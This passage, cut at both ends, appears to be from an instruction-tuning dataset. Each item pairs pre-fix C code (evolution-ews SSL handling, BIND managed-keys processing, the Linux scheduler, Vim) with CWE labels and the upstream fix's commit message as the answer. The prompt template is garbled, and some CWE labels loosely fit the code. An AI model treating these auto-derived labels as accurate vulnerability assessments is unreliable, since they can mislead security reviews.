{\n\t\tresult = CAMEL_AUTHENTICATION_ACCEPTED;\n\t} else if (g_error_matches (local_error, EWS_CONNECTION_ERROR, EWS_CONNECTION_ERROR_AUTHENTICATION_FAILED)) {\n\t\tg_clear_error (&local_error);\n\t\tresult = CAMEL_AUTHENTICATION_REJECTED;\n\t} else {\n\t\tg_propagate_error (error, local_error);\n\t\tresult = CAMEL_AUTHENTICATION_ERROR;\n\t}\n\n\tg_object_unref (connection);\n\n\treturn result;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-295'], 'message': 'I#27 - SSL Certificates are not validated\n\nThis depends on https://gitlab.gnome.org/GNOME/evolution-data-server/commit/6672b8236139bd6ef41ecb915f4c72e2a052dba5 too.\n\nCloses https://gitlab.gnome.org/GNOME/evolution-ews/issues/27'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: keyfetch_done(isc_task_t *task, isc_event_t *event) {\n\tisc_result_t result, eresult;\n\tdns_fetchevent_t *devent;\n\tdns_keyfetch_t *kfetch;\n\tdns_zone_t *zone;\n\tisc_mem_t *mctx = NULL;\n\tdns_keytable_t *secroots = NULL;\n\tdns_dbversion_t *ver = NULL;\n\tdns_diff_t diff;\n\tbool alldone = false;\n\tbool commit = false;\n\tdns_name_t *keyname;\n\tdns_rdata_t sigrr = DNS_RDATA_INIT;\n\tdns_rdata_t dnskeyrr = DNS_RDATA_INIT;\n\tdns_rdata_t keydatarr = DNS_RDATA_INIT;\n\tdns_rdata_rrsig_t sig;\n\tdns_rdata_dnskey_t dnskey;\n\tdns_rdata_keydata_t keydata;\n\tbool initializing;\n\tchar namebuf[DNS_NAME_FORMATSIZE];\n\tunsigned char key_buf[4096];\n\tisc_buffer_t keyb;\n\tdst_key_t *dstkey;\n\tisc_stdtime_t now;\n\tint pending = 0;\n\tbool secure = false, initial = false;\n\tbool free_needed;\n\n\tUNUSED(task);\n\tINSIST(event != NULL && event->ev_type == DNS_EVENT_FETCHDONE);\n\tINSIST(event->ev_arg != NULL);\n\n\tkfetch = event->ev_arg;\n\tzone = kfetch->zone;\n\tisc_mem_attach(zone->mctx, &mctx);\n\tkeyname = dns_fixedname_name(&kfetch->name);\n\n\tdevent = (dns_fetchevent_t *) event;\n\teresult = devent->result;\n\n\t/* Free resources which are not of interest */\n\tif (devent->node != NULL) {\n\t\tdns_db_detachnode(devent->db, &devent->node);\n\t}\n\tif (devent->db != NULL) {\n\t\tdns_db_detach(&devent->db);\n\t}\n\tisc_event_free(&event);\n\tdns_resolver_destroyfetch(&kfetch->fetch);\n\n\tLOCK_ZONE(zone);\n\tif (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_EXITING) || zone->view == NULL) {\n\t\tgoto cleanup;\n\t}\n\n\tisc_stdtime_get(&now);\n\tdns_name_format(keyname, namebuf, sizeof(namebuf));\n\n\tresult = dns_view_getsecroots(zone->view, &secroots);\n\tINSIST(result == ISC_R_SUCCESS);\n\n\tdns_diff_init(mctx, &diff);\n\n\tCHECK(dns_db_newversion(kfetch->db, &ver));\n\n\tzone->refreshkeycount--;\n\talldone = (zone->refreshkeycount == 0);\n\n\tif (alldone) {\n\t\tDNS_ZONE_CLRFLAG(zone, DNS_ZONEFLG_REFRESHING);\n\t}\n\n\tdnssec_log(zone, ISC_LOG_DEBUG(3),\n\t\t \"Returned from key fetch in keyfetch_done() for '%s': %s\",\n\t\t namebuf, dns_result_totext(eresult));\n\n\t/* Fetch failed */\n\tif (eresult != ISC_R_SUCCESS ||\n\t !dns_rdataset_isassociated(&kfetch->dnskeyset))\n\t{\n\t\tdnssec_log(zone, ISC_LOG_WARNING,\n\t\t\t \"Unable to fetch DNSKEY set '%s': %s\",\n\t\t\t namebuf, dns_result_totext(eresult));\n\t\tCHECK(minimal_update(kfetch, ver, &diff));\n\t\tgoto done;\n\t}\n\n\t/* No RRSIGs found */\n\tif (!dns_rdataset_isassociated(&kfetch->dnskeysigset)) {\n\t\tdnssec_log(zone, ISC_LOG_WARNING,\n\t\t\t \"No DNSKEY RRSIGs found for '%s': %s\",\n\t\t\t namebuf, dns_result_totext(eresult));\n\t\tCHECK(minimal_update(kfetch, ver, &diff));\n\t\tgoto done;\n\t}\n\n\t/*\n\t * Clear any cached trust level, as we need to run validation\n\t * over again; trusted keys might have changed.\n\t */\n\tkfetch->dnskeyset.trust = kfetch->dnskeysigset.trust = dns_trust_none;\n\n\t/*\n\t * Validate the dnskeyset against the current trusted keys.\n\t */\n\tfor (result = dns_rdataset_first(&kfetch->dnskeysigset);\n\t result == ISC_R_SUCCESS;\n\t result = dns_rdataset_next(&kfetch->dnskeysigset))\n\t{\n\t\tdns_keynode_t *keynode = NULL;\n\n\t\tdns_rdata_reset(&sigrr);\n\t\tdns_rdataset_current(&kfetch->dnskeysigset, &sigrr);\n\t\tresult = dns_rdata_tostruct(&sigrr, &sig, NULL);\n\t\tRUNTIME_CHECK(result == ISC_R_SUCCESS);\n\n\t\tresult = dns_keytable_find(secroots, keyname, &keynode);\n\t\twhile (result == ISC_R_SUCCESS) {\n\t\t\tdns_keynode_t *nextnode = NULL;\n\t\t\tdns_fixedname_t fixed;\n\t\t\tdns_fixedname_init(&fixed);\n\n\t\t\tdstkey = dns_keynode_key(keynode);\n\t\t\tif (dstkey == NULL) {\n\t\t\t\t/* fail_secure() was called */\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tif (dst_key_alg(dstkey) == sig.algorithm &&\n\t\t\t dst_key_id(dstkey) == sig.keyid)\n\t\t\t{\n\t\t\t\tresult = dns_dnssec_verify(keyname,\n\t\t\t\t\t\t\t &kfetch->dnskeyset,\n\t\t\t\t\t\t\t dstkey, false,\n\t\t\t\t\t\t\t 0,\n\t\t\t\t\t\t\t zone->view->mctx,\n\t\t\t\t\t\t\t &sigrr,\n\t\t\t\t\t\t\t dns_fixedname_name(\n\t\t\t\t\t\t\t &fixed));\n\n\t\t\t\tdnssec_log(zone, ISC_LOG_DEBUG(3),\n\t\t\t\t\t \"Verifying DNSKEY set for zone \"\n\t\t\t\t\t \"'%s' using key %d/%d: %s\",\n\t\t\t\t\t namebuf, sig.keyid, sig.algorithm,\n\t\t\t\t\t dns_result_totext(result));\n\n\t\t\t\tif (result == ISC_R_SUCCESS) {\n\t\t\t\t\tkfetch->dnskeyset.trust =\n\t\t\t\t\t\tdns_trust_secure;\n\t\t\t\t\tkfetch->dnskeysigset.trust =\n\t\t\t\t\t\tdns_trust_secure;\n\t\t\t\t\tsecure = true;\n\t\t\t\t\tinitial = dns_keynode_initial(keynode);\n\t\t\t\t\tdns_keynode_trust(keynode);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tresult = dns_keytable_nextkeynode(secroots,\n\t\t\t\t\t\t\t keynode, &nextnode);\n\t\t\tdns_keytable_detachkeynode(secroots, &keynode);\n\t\t\tkeynode = nextnode;\n\t\t}\n\n\t\tif (keynode != NULL) {\n\t\t\tdns_keytable_detachkeynode(secroots, &keynode);\n\t\t}\n\n\t\tif (secure) {\n\t\t\tbreak;\n\t\t}\n\t}\n\n\t/*\n\t * If we were not able to verify the answer using the current\n\t * trusted keys then all we can do is look at any revoked keys.\n\t */\n\tif (!secure) {\n\t\tdnssec_log(zone, ISC_LOG_INFO,\n\t\t\t \"DNSKEY set for zone '%s' could not be verified \"\n\t\t\t \"with current keys\", namebuf);\n\t}\n\n\t/*\n\t * First scan keydataset to find keys that are not in dnskeyset\n\t * - Missing keys which are not scheduled for removal,\n\t * log a warning\n\t * - Missing keys which are scheduled for removal and\n\t * the remove hold-down timer has completed should\n\t * be removed from the key zone\n\t * - Missing keys whose acceptance timers have not yet\n\t * completed, log a warning and reset the acceptance\n\t * timer to 30 days in the future\n\t * - All keys not being removed have their refresh timers\n\t * updated\n\t */\n\tinitializing = true;\n\tfor (result = dns_rdataset_first(&kfetch->keydataset);\n\t result == ISC_R_SUCCESS;\n\t result = dns_rdataset_next(&kfetch->keydataset))\n\t{\n\t\tdns_keytag_t keytag;\n\n\t\tdns_rdata_reset(&keydatarr);\n\t\tdns_rdataset_current(&kfetch->keydataset, &keydatarr);\n\t\tresult = dns_rdata_tostruct(&keydatarr, &keydata, NULL);\n\t\tRUNTIME_CHECK(result == ISC_R_SUCCESS);\n\n\t\tdns_keydata_todnskey(&keydata, &dnskey, NULL);\n\t\tresult = compute_tag(keyname, &dnskey, mctx, &keytag);\n\t\tRUNTIME_CHECK(result == ISC_R_SUCCESS);\n\n\t\t/*\n\t\t * If any keydata record has a nonzero add holddown, then\n\t\t * there was a pre-existing trust anchor for this domain;\n\t\t * that means we are *not* initializing it and shouldn't\n\t\t * automatically trust all the keys we find at the zone apex.\n\t\t */\n\t\tinitializing = initializing && (keydata.addhd == 0);\n\n\t\tif (! matchkey(&kfetch->dnskeyset, &keydatarr)) {\n\t\t\tbool deletekey = false;\n\n\t\t\tif (!secure) {\n\t\t\t\tif (keydata.removehd != 0 &&\n\t\t\t\t keydata.removehd <= now)\n\t\t\t\t{\n\t\t\t\t\tdeletekey = true;\n\t\t\t\t}\n\t\t\t} else if (keydata.addhd == 0) {\n\t\t\t\tdeletekey = true;\n\t\t\t} else if (keydata.addhd > now) {\n\t\t\t\tdnssec_log(zone, ISC_LOG_INFO,\n\t\t\t\t\t \"Pending key %d for zone %s \"\n\t\t\t\t\t \"unexpectedly missing \"\n\t\t\t\t\t \"restarting 30-day acceptance \"\n\t\t\t\t\t \"timer\", keytag, namebuf);\n\t\t\t\tif (keydata.addhd < now + dns_zone_mkey_month) {\n\t\t\t\t\tkeydata.addhd =\n\t\t\t\t\t\tnow + dns_zone_mkey_month;\n\t\t\t\t}\n\t\t\t\tkeydata.refresh = refresh_time(kfetch, false);\n\t\t\t} else if (keydata.removehd == 0) {\n\t\t\t\tdnssec_log(zone, ISC_LOG_INFO,\n\t\t\t\t\t \"Active key %d for zone %s \"\n\t\t\t\t\t \"unexpectedly missing\",\n\t\t\t\t\t keytag, namebuf);\n\t\t\t\tkeydata.refresh = now + dns_zone_mkey_hour;\n\t\t\t} else if (keydata.removehd <= now) {\n\t\t\t\tdeletekey = true;\n\t\t\t\tdnssec_log(zone, ISC_LOG_INFO,\n\t\t\t\t\t \"Revoked key %d for zone %s \"\n\t\t\t\t\t \"missing: deleting from \"\n\t\t\t\t\t \"managed keys database\",\n\t\t\t\t\t keytag, namebuf);\n\t\t\t} else {\n\t\t\t\tkeydata.refresh = refresh_time(kfetch, false);\n\t\t\t}\n\n\t\t\tif (secure || deletekey) {\n\t\t\t\t/* Delete old version */\n\t\t\t\tCHECK(update_one_rr(kfetch->db, ver, &diff,\n\t\t\t\t\t\t DNS_DIFFOP_DEL, keyname, 0,\n\t\t\t\t\t\t &keydatarr));\n\t\t\t}\n\n\t\t\tif (!secure || deletekey) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tdns_rdata_reset(&keydatarr);\n\t\t\tisc_buffer_init(&keyb, key_buf, sizeof(key_buf));\n\t\t\tdns_rdata_fromstruct(&keydatarr, zone->rdclass,\n\t\t\t\t\t dns_rdatatype_keydata,\n\t\t\t\t\t &keydata, &keyb);\n\n\t\t\t/* Insert updated version */\n\t\t\tCHECK(update_one_rr(kfetch->db, ver, &diff,\n\t\t\t\t\t DNS_DIFFOP_ADD, keyname, 0,\n\t\t\t\t\t &keydatarr));\n\n\t\t\tset_refreshkeytimer(zone, &keydata, now, false);\n\t\t}\n\t}\n\n\t/*\n\t * Next scan dnskeyset:\n\t * - If new keys are found (i.e., lacking a match in keydataset)\n\t * add them to the key zone and set the acceptance timer\n\t * to 30 days in the future (or to immediately if we've\n\t * determined that we're initializing the zone for the\n\t * first time)\n\t * - Previously-known keys that have been revoked\n\t * must be scheduled for removal from the key zone (or,\n\t * if they hadn't been accepted as trust anchors yet\n\t * anyway, removed at once)\n\t * - Previously-known unrevoked keys whose acceptance timers\n\t * have completed are promoted to trust anchors\n\t * - All keys not being removed have their refresh\n\t * timers updated\n\t */\n\tfor (result = dns_rdataset_first(&kfetch->dnskeyset);\n\t result == ISC_R_SUCCESS;\n\t result = dns_rdataset_next(&kfetch->dnskeyset))\n\t{\n\t\tbool revoked = false;\n\t\tbool newkey = false;\n\t\tbool updatekey = false;\n\t\tbool deletekey = false;\n\t\tbool trustkey = false;\n\t\tdns_keytag_t keytag;\n\n\t\tdns_rdata_reset(&dnskeyrr);\n\t\tdns_rdataset_current(&kfetch->dnskeyset, &dnskeyrr);\n\t\tresult = dns_rdata_tostruct(&dnskeyrr, &dnskey, NULL);\n\t\tRUNTIME_CHECK(result == ISC_R_SUCCESS);\n\n\t\t/* Skip ZSK's */\n\t\tif ((dnskey.flags & DNS_KEYFLAG_KSK) == 0) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tresult = compute_tag(keyname, &dnskey, mctx, &keytag);\n\t\tRUNTIME_CHECK(result == ISC_R_SUCCESS);\n\n\t\trevoked = ((dnskey.flags & DNS_KEYFLAG_REVOKE) != 0);\n\n\t\tif (matchkey(&kfetch->keydataset, &dnskeyrr)) {\n\t\t\tdns_rdata_reset(&keydatarr);\n\t\t\tdns_rdataset_current(&kfetch->keydataset, &keydatarr);\n\t\t\tresult = dns_rdata_tostruct(&keydatarr, &keydata, NULL);\n\t\t\tRUNTIME_CHECK(result == ISC_R_SUCCESS);\n\n\t\t\tif (revoked && revocable(kfetch, &keydata)) {\n\t\t\t\tif (keydata.addhd > now) {\n\t\t\t\t\t/*\n\t\t\t\t\t * Key wasn't trusted yet, and now\n\t\t\t\t\t * it's been revoked? Just remove it\n\t\t\t\t\t */\n\t\t\t\t\tdeletekey = true;\n\t\t\t\t\tdnssec_log(zone, ISC_LOG_INFO,\n\t\t\t\t\t\t \"Pending key %d for \"\n\t\t\t\t\t\t \"zone %s is now revoked: \"\n\t\t\t\t\t\t \"deleting from the \"\n\t\t\t\t\t\t \"managed keys database\",\n\t\t\t\t\t\t keytag, namebuf);\n\t\t\t\t} else if (keydata.removehd == 0) {\n\t\t\t\t\t/*\n\t\t\t\t\t * Remove key from secroots.\n\t\t\t\t\t */\n\t\t\t\t\tdns_view_untrust(zone->view, keyname,\n\t\t\t\t\t\t\t &dnskey, mctx);\n\n\t\t\t\t\t/* If initializing, delete now */\n\t\t\t\t\tif (keydata.addhd == 0) {\n\t\t\t\t\t\tdeletekey = true;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tkeydata.removehd = now +\n\t\t\t\t\t\t\tdns_zone_mkey_month;\n\t\t\t\t\t\tkeydata.flags |=\n\t\t\t\t\t\t\tDNS_KEYFLAG_REVOKE;\n\t\t\t\t\t}\n\n\t\t\t\t\tdnssec_log(zone, ISC_LOG_INFO,\n\t\t\t\t\t\t \"Trusted key %d for \"\n\t\t\t\t\t\t \"zone %s is now revoked\",\n\t\t\t\t\t\t keytag, namebuf);\n\t\t\t\t} else if (keydata.removehd < now) {\n\t\t\t\t\t/* Scheduled for removal */\n\t\t\t\t\tdeletekey = true;\n\n\t\t\t\t\tdnssec_log(zone, ISC_LOG_INFO,\n\t\t\t\t\t\t \"Revoked key %d for \"\n\t\t\t\t\t\t \"zone %s removal timer \"\n\t\t\t\t\t\t \"complete: deleting from \"\n\t\t\t\t\t\t \"the managed keys database\",\n\t\t\t\t\t\t keytag, namebuf);\n\t\t\t\t}\n\t\t\t} else if (revoked && keydata.removehd == 0) {\n\t\t\t\tdnssec_log(zone, ISC_LOG_WARNING,\n\t\t\t\t\t \"Active key %d for zone \"\n\t\t\t\t\t \"%s is revoked but \"\n\t\t\t\t\t \"did not self-sign; \"\n\t\t\t\t\t \"ignoring\", keytag, namebuf);\n\t\t\t\tcontinue;\n\t\t\t} else if (secure) {\n\t\t\t\tif (keydata.removehd != 0) {\n\t\t\t\t\t/*\n\t\t\t\t\t * Key isn't revoked--but it\n\t\t\t\t\t * seems it used to be.\n\t\t\t\t\t * Remove it now and add it\n\t\t\t\t\t * back as if it were a fresh key,\n\t\t\t\t\t * with a 30-day acceptance timer.\n\t\t\t\t\t */\n\t\t\t\t\tdeletekey = true;\n\t\t\t\t\tnewkey = true;\n\t\t\t\t\tkeydata.removehd = 0;\n\t\t\t\t\tkeydata.addhd =\n\t\t\t\t\t\tnow + dns_zone_mkey_month;\n\n\t\t\t\t\tdnssec_log(zone, ISC_LOG_INFO,\n\t\t\t\t\t\t \"Revoked key %d for \"\n\t\t\t\t\t\t \"zone %s has returned: \"\n\t\t\t\t\t\t \"starting 30-day \"\n\t\t\t\t\t\t \"acceptance timer\",\n\t\t\t\t\t\t keytag, namebuf);\n\t\t\t\t} else if (keydata.addhd > now) {\n\t\t\t\t\tpending++;\n\t\t\t\t} else if (keydata.addhd == 0) {\n\t\t\t\t\tkeydata.addhd = now;\n\t\t\t\t}\n\n\t\t\t\tif (keydata.addhd <= now) {\n\t\t\t\t\ttrustkey = true;\n\t\t\t\t\tdnssec_log(zone, ISC_LOG_INFO,\n\t\t\t\t\t\t \"Key %d for zone %s \"\n\t\t\t\t\t\t \"is now trusted (%s)\",\n\t\t\t\t\t\t keytag, namebuf,\n\t\t\t\t\t\t initial\n\t\t\t\t\t\t ? \"initializing key \"\n\t\t\t\t\t\t \"verified\"\n\t\t\t\t\t\t : \"acceptance timer \"\n\t\t\t\t\t\t \"complete\");\n\t\t\t\t}\n\t\t\t} else if (keydata.addhd > now) {\n\t\t\t\t/*\n\t\t\t\t * Not secure, and key is pending:\n\t\t\t\t * reset the acceptance timer\n\t\t\t\t */\n\t\t\t\tpending++;\n\t\t\t\tkeydata.addhd = now + dns_zone_mkey_month;\n\t\t\t\tdnssec_log(zone, ISC_LOG_INFO,\n\t\t\t\t\t \"Pending key %d \"\n\t\t\t\t\t \"for zone %s was \"\n\t\t\t\t\t \"not validated: restarting \"\n\t\t\t\t\t \"30-day acceptance timer\",\n\t\t\t\t\t keytag, namebuf);\n\t\t\t}\n\n\t\t\tif (!deletekey && !newkey) {\n\t\t\t\tupdatekey = true;\n\t\t\t}\n\t\t} else if (secure) {\n\t\t\t/*\n\t\t\t * Key wasn't in the key zone but it's\n\t\t\t * revoked now anyway, so just skip it\n\t\t\t */\n\t\t\tif (revoked) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t/* Key wasn't in the key zone: add it */\n\t\t\tnewkey = true;\n\n\t\t\tif (initializing) {\n\t\t\t\tdnssec_log(zone, ISC_LOG_WARNING,\n\t\t\t\t\t \"Initializing automatic trust \"\n\t\t\t\t\t \"anchor management for zone '%s'; \"\n\t\t\t\t\t \"DNSKEY ID %d is now trusted, \"\n\t\t\t\t\t \"waiving the normal 30-day \"\n\t\t\t\t\t \"waiting period.\",\n\t\t\t\t\t namebuf, keytag);\n\t\t\t\ttrustkey = true;\n\t\t\t} else {\n\t\t\t\tdnssec_log(zone, ISC_LOG_INFO,\n\t\t\t\t\t \"New key %d observed \"\n\t\t\t\t\t \"for zone '%s': \"\n\t\t\t\t\t \"starting 30-day \"\n\t\t\t\t\t \"acceptance timer\",\n\t\t\t\t\t keytag, namebuf);\n\t\t\t}\n\t\t} else {\n\t\t\t/*\n\t\t\t * No previously known key, and the key is not\n\t\t\t * secure, so skip it.\n\t\t\t */\n\t\t\tcontinue;\n\t\t}\n\n\t\t/* Delete old version */\n\t\tif (deletekey || !newkey) {\n\t\t\tCHECK(update_one_rr(kfetch->db, ver, &diff,\n\t\t\t\t\t DNS_DIFFOP_DEL, keyname, 0,\n\t\t\t\t\t &keydatarr));\n\t\t}\n\n\t\tif (updatekey) {\n\t\t\t/* Set refresh timer */\n\t\t\tkeydata.refresh = refresh_time(kfetch, false);\n\t\t\tdns_rdata_reset(&keydatarr);\n\t\t\tisc_buffer_init(&keyb, key_buf, sizeof(key_buf));\n\t\t\tdns_rdata_fromstruct(&keydatarr, zone->rdclass,\n\t\t\t\t\t dns_rdatatype_keydata,\n\t\t\t\t\t &keydata, &keyb);\n\n\t\t\t/* Insert updated version */\n\t\t\tCHECK(update_one_rr(kfetch->db, ver, &diff,\n\t\t\t\t\t DNS_DIFFOP_ADD, keyname, 0,\n\t\t\t\t\t &keydatarr));\n\t\t} else if (newkey) {\n\t\t\t/* Convert DNSKEY to KEYDATA */\n\t\t\tresult = dns_rdata_tostruct(&dnskeyrr, &dnskey, NULL);\n\t\t\tRUNTIME_CHECK(result == ISC_R_SUCCESS);\n\t\t\tdns_keydata_fromdnskey(&keydata, &dnskey, 0, 0, 0,\n\t\t\t\t\t NULL);\n\t\t\tkeydata.addhd = initializing\n\t\t\t\t\t ? now : now + dns_zone_mkey_month;\n\t\t\tkeydata.refresh = refresh_time(kfetch, false);\n\t\t\tdns_rdata_reset(&keydatarr);\n\t\t\tisc_buffer_init(&keyb, key_buf, sizeof(key_buf));\n\t\t\tdns_rdata_fromstruct(&keydatarr, zone->rdclass,\n\t\t\t\t\t dns_rdatatype_keydata,\n\t\t\t\t\t &keydata, &keyb);\n\n\t\t\t/* Insert into key zone */\n\t\t\tCHECK(update_one_rr(kfetch->db, ver, &diff,\n\t\t\t\t\t DNS_DIFFOP_ADD, keyname, 0,\n\t\t\t\t\t &keydatarr));\n\t\t}\n\n\t\tif (trustkey) {\n\t\t\t/* Trust this key. */\n\t\t\tresult = dns_rdata_tostruct(&dnskeyrr, &dnskey, NULL);\n\t\t\tRUNTIME_CHECK(result == ISC_R_SUCCESS);\n\t\t\ttrust_key(zone, keyname, &dnskey, false, mctx);\n\t\t}\n\n\t\tif (secure && !deletekey) {\n\t\t\tINSIST(newkey || updatekey);\n\t\t\tset_refreshkeytimer(zone, &keydata, now, false);\n\t\t}\n\t}\n\n\t/*\n\t * RFC5011 says, \"A trust point that has all of its trust anchors\n\t * revoked is considered deleted and is treated as if the trust\n\t * point was never configured.\" But if someone revoked their\n\t * active key before the standby was trusted, that would mean the\n\t * zone would suddenly be nonsecured. We avoid this by checking to\n\t * see if there's pending keydata. If so, we put a null key in\n\t * the security roots; then all queries to the zone will fail.\n\t */\n\tif (pending != 0) {\n\t\tfail_secure(zone, keyname);\n\t}\n\n done:\n\tif (!ISC_LIST_EMPTY(diff.tuples)) {\n\t\t/* Write changes to journal file. */\n\t\tCHECK(update_soa_serial(kfetch->db, ver, &diff, mctx,\n\t\t\t\t\tzone->updatemethod));\n\t\tCHECK(zone_journal(zone, &diff, NULL, \"keyfetch_done\"));\n\t\tcommit = true;\n\n\t\tDNS_ZONE_SETFLAG(zone, DNS_ZONEFLG_LOADED);\n\t\tzone_needdump(zone, 30);\n\t} else if (result == ISC_R_NOMORE) {\n\t\t/*\n\t\t * If \"updatekey\" was true for all keys found in the DNSKEY\n\t\t * response and the previous update of those keys happened\n\t\t * during the same second (only possible if a key refresh was\n\t\t * externally triggered), it may happen that all relevant\n\t\t * update_one_rr() calls will return ISC_R_SUCCESS, but\n\t\t * diff.tuples will remain empty. Reset result to\n\t\t * ISC_R_SUCCESS to prevent a bogus warning from being logged.\n\t\t */\n\t\tresult = ISC_R_SUCCESS;\n\t}\n\n failure:\n\tif (result != ISC_R_SUCCESS) {\n\t\tdnssec_log(zone, ISC_LOG_ERROR,\n\t\t\t \"error during managed-keys processing (%s): \"\n\t\t\t \"DNSSEC validation may be at risk\",\n\t\t\t isc_result_totext(result));\n\t}\n\tdns_diff_clear(&diff);\n\tif (ver != NULL) {\n\t\tdns_db_closeversion(kfetch->db, &ver, commit);\n\t}\n\n cleanup:\n\tdns_db_detach(&kfetch->db);\n\n\tINSIST(zone->irefs > 0);\n\tzone->irefs--;\n\tkfetch->zone = NULL;\n\n\tif (dns_rdataset_isassociated(&kfetch->keydataset)) {\n\t\tdns_rdataset_disassociate(&kfetch->keydataset);\n\t}\n\tif (dns_rdataset_isassociated(&kfetch->dnskeyset)) {\n\t\tdns_rdataset_disassociate(&kfetch->dnskeyset);\n\t}\n\tif (dns_rdataset_isassociated(&kfetch->dnskeysigset)) {\n\t\tdns_rdataset_disassociate(&kfetch->dnskeysigset);\n\t}\n\n\tdns_name_free(keyname, mctx);\n\tisc_mem_put(mctx, kfetch, sizeof(dns_keyfetch_t));\n\tisc_mem_detach(&mctx);\n\n\tif (secroots != NULL) {\n\t\tdns_keytable_detach(&secroots);\n\t}\n\n\tfree_needed = exit_check(zone);\n\tUNLOCK_ZONE(zone);\n\tif (free_needed) {\n\t\tzone_free(zone);\n\t}\n\n\tINSIST(ver == NULL);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-327'], 'message': 'Update keyfetch_done compute_tag check\n\nIf in keyfetch_done the compute_tag fails (because for example the\nalgorithm is not supported), don't crash, but instead ignore the\nkey.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static inline void update_blocked_averages(int cpu)\n{\n\tstruct rq *rq = cpu_rq(cpu);\n\tstruct cfs_rq *cfs_rq = &rq->cfs;\n\tconst struct sched_class *curr_class;\n\tstruct rq_flags rf;\n\n\trq_lock_irqsave(rq, &rf);\n\tupdate_rq_clock(rq);\n\tupdate_cfs_rq_load_avg(cfs_rq_clock_task(cfs_rq), cfs_rq);\n\n\tcurr_class = rq->curr->sched_class;\n\tupdate_rt_rq_load_avg(rq_clock_task(rq), rq, curr_class == &rt_sched_class);\n\tupdate_dl_rq_load_avg(rq_clock_task(rq), rq, curr_class == &dl_sched_class);\n\tupdate_irq_load_avg(rq, 0);\n#ifdef CONFIG_NO_HZ_COMMON\n\trq->last_blocked_load_update_tick = jiffies;\n\tif (!cfs_rq_has_blocked(cfs_rq) && !others_have_blocked(rq))\n\t\trq->has_blocked_load = 0;\n#endif\n\trq_unlock_irqrestore(rq, &rf);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-400', 'CWE-703', 'CWE-835'], 'message': 'sched/fair: Fix infinite loop in update_blocked_averages() by reverting a9e7f6544b9c\n\nZhipeng Xie, Xie XiuQi and Sargun Dhillon reported lockups in the\nscheduler under high loads, starting at around the v4.18 time frame,\nand Zhipeng Xie tracked it down to bugs in the rq->leaf_cfs_rq_list\nmanipulation.\n\nDo a (manual) revert of:\n\n a9e7f6544b9c (\"sched/fair: Fix O(nr_cgroups) in load balance path\")\n\nIt turns out that the list_del_leaf_cfs_rq() introduced by this commit\nis a surprising property that was not considered in followup commits\nsuch as:\n\n 9c2791f936ef (\"sched/fair: Fix hierarchical order in rq->leaf_cfs_rq_list\")\n\nAs Vincent Guittot explains:\n\n \"I think that there is a bigger problem with commit a9e7f6544b9c and\n cfs_rq throttling:\n\n Let take the example of the following topology TG2 --> TG1 --> root:\n\n 1) The 1st time a task is enqueued, we will add TG2 cfs_rq then TG1\n cfs_rq to leaf_cfs_rq_list and we are sure to do the whole branch in\n one path because it has never been used and can't be throttled so\n tmp_alone_branch will point to leaf_cfs_rq_list at the end.\n\n 2) Then TG1 is throttled\n\n 3) and we add TG3 as a new child of TG1.\n\n 4) The 1st enqueue of a task on TG3 will add TG3 cfs_rq just before TG1\n cfs_rq and tmp_alone_branch will stay on rq->leaf_cfs_rq_list.\n\n With commit a9e7f6544b9c, we can del a cfs_rq from rq->leaf_cfs_rq_list.\n So if the load of TG1 cfs_rq becomes NULL before step 2) above, TG1\n cfs_rq is removed from the list.\n Then at step 4), TG3 cfs_rq is added at the beginning of rq->leaf_cfs_rq_list\n but tmp_alone_branch still points to TG3 cfs_rq because its throttled\n parent can't be enqueued when the lock is released.\n tmp_alone_branch doesn't point to rq->leaf_cfs_rq_list whereas it should.\n\n So if TG3 cfs_rq is removed or destroyed before tmp_alone_branch\n points on another TG cfs_rq, the next TG cfs_rq that will be added,\n will be linked outside rq->leaf_cfs_rq_list - which is bad.\n\n In addition, we can break the ordering of the cfs_rq in\n rq->leaf_cfs_rq_list but this ordering is used to update and\n propagate the update from leaf down to root.\"\n\nInstead of trying to work through all these cases and trying to reproduce\nthe very high loads that produced the lockup to begin with, simplify\nthe code temporarily by reverting a9e7f6544b9c - which change was clearly\nnot thought through completely.\n\nThis (hopefully) gives us a kernel that doesn't lock up so people\ncan continue to enjoy their holidays without worrying about regressions. ;-)\n\n[ mingo: Wrote changelog, fixed weird spelling in code comment while at it. ]\n\nAnalyzed-by: Xie XiuQi \nAnalyzed-by: Vincent Guittot \nReported-by: Zhipeng Xie \nReported-by: Sargun Dhillon \nReported-by: Xie XiuQi \nTested-by: Zhipeng Xie \nTested-by: Sargun Dhillon \nSigned-off-by: Linus Torvalds \nAcked-by: Vincent Guittot \nCc: # v4.13+\nCc: Bin Li \nCc: Mike Galbraith \nCc: Peter Zijlstra \nCc: Tejun Heo \nCc: Thomas Gleixner \nFixes: a9e7f6544b9c (\"sched/fair: Fix O(nr_cgroups) in load balance path\")\nLink: http://lkml.kernel.org/r/1545879866-27809-1-git-send-email-xiexiuqi@huawei.com\nSigned-off-by: Ingo Molnar '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: set_vterm_palette(VTerm *vterm, long_u *rgb)\n{\n int\t\tindex = 0;\n VTermState\t*state = vterm_obtain_state(vterm);\n for (; index < 16; index++)\n {\n\tVTermColor\tcolor;\n\tcolor.red = (unsigned)(rgb[index] >> 16);\n\tcolor.green = (unsigned)(rgb[index] >> 8) & 255;\n\tcolor.blue = (unsigned)rgb[index] & 